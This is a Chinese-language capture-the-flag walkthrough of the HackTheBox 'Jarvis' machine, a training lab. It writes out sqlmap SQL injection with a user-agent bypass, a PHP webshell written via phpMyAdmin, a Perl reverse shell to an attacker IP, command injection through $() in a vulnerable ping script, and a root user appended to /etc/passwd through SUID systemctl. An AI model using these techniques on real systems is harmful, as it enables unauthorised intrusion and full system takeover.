大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Jarvis”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为困难级别,任务是找到靶机上的user.txt和root.txt。
信息枚举
利用masscan探测开放端口
找到了22,80,64999端口
Nmap探测22,80,64999的服务信息
漏洞利用
首先我们从80端口的web下手
用wfuzz扫描web80端口,从中我们得知站点使用phpmyadmin,但是版本比较新,我们需要账号密码才能进去写shell
当我们输入/room.php?cod=1’
站点明显出现了异常,我们得知cod参数存在sql注入
使用sqlmap 获取账号密码,web检查了用户代理,如果我们直接跑sql注入会被ban,我们用--user-agent绕过过滤器,并且使用--password获取账号密码
sqlmap -u http://10.10.10.143/room?cod=1--user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0” --password
我们已经把账号密码注出来
DBadmin--imissyou
进入phpmyadmin,写入webshell
#select “<?php system($_GET[‘cmd’]); ?>” into outfile “/var/www/html/n00b.php”
低权限shell
我们使用perl反连shell
#perl -e 'use Socket;$i="10.10.x.x"; $p=xxxx; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
使用TTY获取一个终端,具体详情如下:
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
详细TTY操作如下:
root@localhost:~/pang# nc -lvp 4444 listening on [any] 4444 ... 10.10.10.143: inverse host lookup failed: Unknown host connect to [10.10.15.237] from (UNKNOWN) [10.10.10.143] 35342 /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty;pty.spawn("/bin/bash")' www-data@jarvis:/var/www/html$ ^Z [1]+ 已停止 nc -lvp 4444 root@localhost:~/pang# stty raw -echo root@localhost:~/pang# nc -lvp 4444 reset reset: unknown terminal type unknown Terminal type? bash www-data@jarvis:/var/www/html$ export SHELL=bash www-data@jarvis:/var/www/html$ export TERM=xterm-256color www-data@jarvis:/var/www/html$ export rows 54 columns 206
连上后,我们尝试查看user.txt
我们没有权限获取user.txt
当我们尝试sudo -l,我们得知我们可以使用simple.py提权到jarvis
Simple.py源代码如下;
#!/usr/bin/env python3 from datetime import datetime import sys import os from os import listdir import re def show_statistics(): path = '/home/pepper/Web/Logs/' print('Statistics\n-----------') listed_files = listdir(path) count = len(listed_files) print('Number of Attackers: ' + str(count)) level_1 = 0 dat = datetime(1, 1, 1) ip_list = [] reks = [] ip = '' req = '' rek = '' for i in listed_files: f = open(path + i, 'r') lines = f.readlines() level2, rek = get_max_level(lines) fecha, requ = date_to_num(lines) ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if fecha > dat: dat = fecha req = requ ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] if int(level2) > int(level_1): level_1 = level2 ip_list = [ip] reks=[rek] elif int(level2) == int(level_1): ip_list.append(ip) reks.append(rek) f.close() print('Most Risky:') if len(ip_list) > 1: print('More than 1 ip found') cont = 0 for i in ip_list: print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont]) cont = cont + 1 print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req) def list_ip(): print('Attackers\n-----------') path = '/home/pepper/Web/Logs/' listed_files = listdir(path) for i in listed_files: f = open(path + i,'r') lines = f.readlines() level,req = get_max_level(lines) print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level) f.close() def date_to_num(lines): dat = datetime(1,1,1) ip = '' req='' for i in lines: if 'Level' in i: fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0] regex = '(\d+)-(.*)-(\d+)(.*)' logEx=re.match(regex, fecha).groups() mes = to_dict(logEx[1]) fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3] fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S') if fecha > dat: dat = fecha req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10] return dat, req def to_dict(name): month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'} return month_dict[name] def get_max_level(lines): level=0 for j in lines: if 'Level' in j: if int(j.split(' ')[4]) > int(level): level = j.split(' ')[4] req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10] return level, req def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command) if __name__ == '__main__': show_header() if len(sys.argv) != 2: show_help() exit() if sys.argv[1] == '-h' or sys.argv[1] == '--help': show_help() exit() elif sys.argv[1] == '-s': show_statistics() exit() elif sys.argv[1] == '-l': list_ip() exit() elif sys.argv[1] == '-p': exec_ping() exit() else: show_help() exit()
从源代码中我们可以看出exec_ping()函数中,程序检查了(& ; - ` || |)
程序没有检查$,我们可以构造$(bash)
因此,如果我们执行ping -c 1 $(echo 127.0.0.1),echo 127.0.0.1将会被先执行,然后再执行ping命令
可是我们无法得到回显,我们使用继续使用perl反向连接获取shell
得到user.txt
权限提升
检查suid文件,我们得知系统运行了systemctl
systemctl可以控制systemd系统和服务管理器的状态
https://gtfobins.github.io/gtfobins/systemctl/
在以上链接我们得知当systemctl的suid为1会被滥用,我们可以构造一个root.service去跑我们的sh文件
使用perl生成我们带有盐值的密码 #perl -le 'print crypt("password@123","addedsalt")' 把伪造账号的脚本写到/dev/shm/root.sh中 #echo “rooot:advwtv/9yU5yQ:0:0:root:/root:/bin/bash" >> /etc/passwd’ 使root.sh添加执行权限 #chmod +x /dev/shm/root.sh 把自定义的root.service跑起来 #systemctl enable /dev/shm/rooot.service #systemctl start /dev/shm/rooot.service
当我们检查/etc/passwd后发现,我们构造的用户和密码写入到了/etc/passwd中
su rooot后查看id发现我们是root权限
获得root.txt
部分参考自文章:https://hackso.me/jarvis-htb-walkthrough/